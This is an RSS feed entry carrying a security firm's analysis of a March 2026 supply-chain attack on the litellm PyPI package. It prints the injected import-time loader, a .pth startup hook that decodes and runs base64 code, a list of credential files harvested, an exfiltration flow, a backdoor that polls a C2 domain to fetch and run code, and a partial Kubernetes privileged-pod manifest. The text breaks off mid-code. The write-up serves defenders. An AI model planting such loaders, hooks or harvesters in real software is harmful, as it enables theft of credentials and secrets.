<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Luis Manuel Rodriguez Berzosa</title>
    <description>The latest articles on DEV Community by Luis Manuel Rodriguez Berzosa (@lmrb1968).</description>
    <link>https://dev.to/lmrb1968</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1322665%2Fefeafb74-e805-4c37-a624-4fb2dc303215.png</url>
      <title>DEV Community: Luis Manuel Rodriguez Berzosa</title>
      <link>https://dev.to/lmrb1968</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lmrb1968"/>
    <language>en</language>
    <item>
      <title>LiteLLM Supply Chain Attack: How TeamPCP Backdoored AI Infrastructure</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Thu, 26 Mar 2026 11:23:05 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/litellm-supply-chain-attack-how-teampcp-backdoored-ai-infrastructure-3k23</link>
      <guid>https://dev.to/xygenisecurity/litellm-supply-chain-attack-how-teampcp-backdoored-ai-infrastructure-3k23</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;On March 24, 2026, the popular Python package &lt;strong&gt;litellm&lt;/strong&gt; -- a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock -- was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.&lt;/p&gt;

&lt;p&gt;With approximately &lt;strong&gt;3.6 million daily downloads&lt;/strong&gt; and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.&lt;/p&gt;

&lt;p&gt;But the litellm compromise was not an isolated event. It was the culmination of a &lt;strong&gt;five-day, five-ecosystem campaign&lt;/strong&gt; by a threat actor known as &lt;strong&gt;TeamPCP&lt;/strong&gt; -- a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to &lt;em&gt;protect&lt;/em&gt; their supply chains.&lt;/p&gt;

&lt;p&gt;This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value &lt;a href="https://xygeni.io/blog/ai-coding-assistant-security-how-to-prevent-vulnerabilities-in-ai-generated-code/" rel="noopener noreferrer"&gt;AI infrastructure&lt;/a&gt;, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester -- covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs -- suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.&lt;/p&gt;




&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date (UTC)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 19&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TeamPCP compromises &lt;strong&gt;Aqua Trivy&lt;/strong&gt; GitHub Action tags, replacing them with malicious code that exfiltrates CI/CD secrets from downstream repositories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 21&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Compromise extends to &lt;strong&gt;Checkmarx KICS&lt;/strong&gt; and AST GitHub Actions using similar techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 22, 06:35&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BerriAI publishes &lt;strong&gt;litellm 1.82.6&lt;/strong&gt; (last clean version) via normal CI/CD pipeline that uses Trivy for security scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 23&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TeamPCP registers &lt;code&gt;models.litellm.cloud&lt;/code&gt; (exfiltration domain). Compromises 66+ npm packages and OpenVSX extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 24, 10:39&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;litellm 1.82.7&lt;/strong&gt; published to PyPI -- payload injected into &lt;code&gt;proxy_server.py&lt;/code&gt; at module scope. Executes on import&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 24, 10:52&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;litellm 1.82.8&lt;/strong&gt; published 13 minutes later -- adds &lt;code&gt;litellm_init.pth&lt;/code&gt;, a Python path configuration hook that executes on &lt;em&gt;every Python interpreter startup&lt;/em&gt;, not just litellm imports. Shows rapid payload iteration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 24, ~16:00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PyPI removes both versions after community reports. Versions are fully deleted (not yanked) from the index, though CDN tarballs remain accessible&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Exposure window: approximately 5.5 hours.&lt;/strong&gt; During this time, any &lt;code&gt;pip install litellm&lt;/code&gt;, &lt;code&gt;pip install --upgrade litellm&lt;/code&gt;, or CI/CD pipeline pulling the latest version would have executed the payload.&lt;/p&gt;




&lt;h2&gt;
  
  
  How the Malware Got In: The Cascading Compromise
&lt;/h2&gt;

&lt;p&gt;The litellm package was not directly breached. The attacker reached it through a &lt;strong&gt;two-hop supply chain attack&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Aqua Trivy GitHub Action (compromised March 19)
    --&amp;gt; LiteLLM CI/CD pipeline runs Trivy without pinned version
        --&amp;gt; Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --&amp;gt; Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LiteLLM's CI/CD pipeline used Trivy as a security scanner -- the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the &lt;code&gt;PYPI_PUBLISH&lt;/code&gt; token, giving TeamPCP direct publishing access to the litellm PyPI project.&lt;/p&gt;

&lt;p&gt;This "compromise the guards" strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Analysis: The Payload
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Injection Points
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Version 1.82.7&lt;/strong&gt; -- Module-level execution in &lt;code&gt;litellm/proxy/proxy_server.py&lt;/code&gt; (line 128):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;b64_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;~12KB base64 blob&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;TemporaryDirectory&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;p.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b64_payload&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code sits at module scope between a dictionary literal and the original &lt;code&gt;showwarning()&lt;/code&gt; function. It executes immediately when &lt;code&gt;litellm.proxy.proxy_server&lt;/code&gt; is imported -- which happens on any use of litellm's proxy functionality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Version 1.82.8&lt;/strong&gt; -- Added &lt;code&gt;litellm_init.pth&lt;/code&gt; (Python path configuration file):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;import base64; exec(base64.b64decode(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;))&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python &lt;code&gt;.pth&lt;/code&gt; files in &lt;code&gt;site-packages/&lt;/code&gt; are processed on every interpreter startup, but only lines beginning with &lt;code&gt;import&lt;/code&gt; are executed as code. The attacker exploits this by chaining the entire payload onto a single &lt;code&gt;import&lt;/code&gt; statement: &lt;code&gt;import os, subprocess, sys; subprocess.Popen(...)&lt;/code&gt;. This is far more aggressive than the proxy_server.py injection -- it fires even if litellm is never imported, on every Python process launch. The &lt;code&gt;pyproject.toml&lt;/code&gt; was modified to include this file in the distribution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="py"&gt;include&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="err"&gt;{&lt;/span&gt; &lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"litellm_init.pth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="py"&gt;format&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"sdist"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"wheel"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Version 1.82.8 thus has &lt;strong&gt;two independent execution paths&lt;/strong&gt;: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable -- it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1: Comprehensive Credential Harvesting
&lt;/h3&gt;

&lt;p&gt;The decoded inner script is a meticulous credential vacuum. It uses &lt;code&gt;os.walk()&lt;/code&gt;, &lt;code&gt;glob.glob()&lt;/code&gt;, &lt;code&gt;subprocess.check_output()&lt;/code&gt;, and direct file reads to sweep the entire system:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Targets&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;System recon&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;hostname&lt;/code&gt;, &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;uname -a&lt;/code&gt;, &lt;code&gt;ip addr&lt;/code&gt;, &lt;code&gt;printenv&lt;/code&gt;, &lt;code&gt;ip route&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;id_ed25519&lt;/code&gt;, &lt;code&gt;id_ecdsa&lt;/code&gt;, &lt;code&gt;authorized_keys&lt;/code&gt;, &lt;code&gt;known_hosts&lt;/code&gt;, &lt;code&gt;config&lt;/code&gt;; host keys from &lt;code&gt;/etc/ssh/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud (AWS)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.aws/credentials&lt;/code&gt;, &lt;code&gt;~/.aws/config&lt;/code&gt;; IMDS role credentials via &lt;code&gt;169.254.169.254&lt;/code&gt;; Secrets Manager &lt;code&gt;ListSecrets&lt;/code&gt;; SSM &lt;code&gt;DescribeParameters&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud (GCP)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.config/gcloud/&lt;/code&gt; (recursive); &lt;code&gt;$GOOGLE_APPLICATION_CREDENTIALS&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud (Azure)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.azure/&lt;/code&gt; (recursive); environment variables&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kubernetes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service account tokens; &lt;code&gt;ca.crt&lt;/code&gt;; namespace; &lt;code&gt;kubectl get secrets --all-namespaces&lt;/code&gt;; all secrets via K8s API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Environment files&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;.env.local&lt;/code&gt;, &lt;code&gt;.env.production&lt;/code&gt;, &lt;code&gt;.env.development&lt;/code&gt;, &lt;code&gt;.env.staging&lt;/code&gt; -- searched recursively (depth 6) across &lt;code&gt;/home&lt;/code&gt;, &lt;code&gt;/root&lt;/code&gt;, &lt;code&gt;/opt&lt;/code&gt;, &lt;code&gt;/srv&lt;/code&gt;, &lt;code&gt;/var/www&lt;/code&gt;, &lt;code&gt;/app&lt;/code&gt;, &lt;code&gt;/data&lt;/code&gt;, &lt;code&gt;/tmp&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Docker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.docker/config.json&lt;/code&gt;, &lt;code&gt;/kaniko/.docker/config.json&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Package tokens&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.npmrc&lt;/code&gt;, &lt;code&gt;~/.vault-token&lt;/code&gt;, &lt;code&gt;~/.netrc&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Databases&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.pgpass&lt;/code&gt;, &lt;code&gt;~/.my.cnf&lt;/code&gt;, &lt;code&gt;/etc/mysql/my.cnf&lt;/code&gt;, &lt;code&gt;/etc/redis/redis.conf&lt;/code&gt;, MongoDB configs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS/SSL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Private keys from &lt;code&gt;/etc/ssl/private/&lt;/code&gt;, Let's Encrypt certs, all &lt;code&gt;.pem&lt;/code&gt;/&lt;code&gt;.key&lt;/code&gt;/&lt;code&gt;.p12&lt;/code&gt;/&lt;code&gt;.pfx&lt;/code&gt; files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Git&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.git-credentials&lt;/code&gt;, &lt;code&gt;~/.gitconfig&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;terraform.tfvars&lt;/code&gt;, &lt;code&gt;terraform.tfstate&lt;/code&gt;, &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, &lt;code&gt;Jenkinsfile&lt;/code&gt;, &lt;code&gt;ansible.cfg&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Crypto wallets&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bitcoin, Ethereum keystore, Solana keypairs (validator, vote, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Shell history&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.bash_history&lt;/code&gt;, &lt;code&gt;.zsh_history&lt;/code&gt;, &lt;code&gt;.mysql_history&lt;/code&gt;, &lt;code&gt;.psql_history&lt;/code&gt;, &lt;code&gt;.rediscli_history&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;System auth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/passwd&lt;/code&gt;, &lt;code&gt;/etc/shadow&lt;/code&gt;, auth logs (accepted SSH sessions)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Webhook/API keys&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Grep for Slack webhooks, Discord webhooks, API keys/secrets in config files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VPN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WireGuard configs from &lt;code&gt;/etc/wireguard/&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets -- suggesting the attacker intends to monetize compromised systems across multiple vectors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2: Encrypted Exfiltration
&lt;/h3&gt;

&lt;p&gt;Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;AES-256-CBC&lt;/strong&gt; encryption of all collected data with a random 32-byte session key (via &lt;code&gt;openssl enc&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RSA-4096&lt;/strong&gt; encryption of the session key using the attacker's embedded public key (OAEP padding, via &lt;code&gt;openssl pkeyutl&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Both ciphertext files bundled as &lt;strong&gt;&lt;code&gt;tpcp.tar.gz&lt;/code&gt;&lt;/strong&gt; (the &lt;code&gt;tpcp&lt;/code&gt; prefix -- "TeamPCP" -- appears consistently across the campaign)&lt;/li&gt;
&lt;li&gt;HTTPS POST to &lt;strong&gt;&lt;code&gt;https://models.litellm.cloud/&lt;/code&gt;&lt;/strong&gt; with &lt;code&gt;Content-Type: application/octet-stream&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The domain &lt;code&gt;models.litellm.cloud&lt;/code&gt; was registered on March 23 -- one day before the attack -- and is designed to blend with legitimate litellm infrastructure (the real project uses &lt;code&gt;litellm.ai&lt;/code&gt;). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm's own model endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3: Persistent Backdoor (sysmon.py)
&lt;/h3&gt;

&lt;p&gt;The payload installs a polling backdoor disguised as system telemetry:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Path&lt;/strong&gt;: &lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service&lt;/strong&gt;: &lt;code&gt;sysmon.service&lt;/code&gt; (systemd user unit, described as "System Telemetry Service")&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavior&lt;/strong&gt;: After an initial 300-second sleep, polls &lt;strong&gt;&lt;code&gt;https://checkmarx.zone/raw&lt;/code&gt;&lt;/strong&gt; every ~50 minutes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execution&lt;/strong&gt;: Downloads the URL returned by the C2 to &lt;code&gt;/tmp/pglog&lt;/code&gt;, sets it executable (&lt;code&gt;chmod 755&lt;/code&gt;), runs it in a detached session&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;State tracking&lt;/strong&gt;: &lt;code&gt;/tmp/.pg_state&lt;/code&gt; prevents re-downloading the same payload&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence&lt;/strong&gt;: &lt;code&gt;Restart=always&lt;/code&gt;, &lt;code&gt;RestartSec=10&lt;/code&gt; -- survives crashes and reboots&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The domain &lt;code&gt;checkmarx.zone&lt;/code&gt; is a typosquat of Checkmarx (the security company at &lt;code&gt;checkmarx.com&lt;/code&gt;), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP's broader strategy of hiding behind security vendor branding.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3b: Kubernetes Lateral Movement
&lt;/h3&gt;

&lt;p&gt;If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys &lt;strong&gt;privileged pods&lt;/strong&gt; to each one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pod_manifest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;apiVersion&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;v1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;kind&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Pod&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;metadata&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;node-setup-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;node_name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;namespace&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;kube-system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
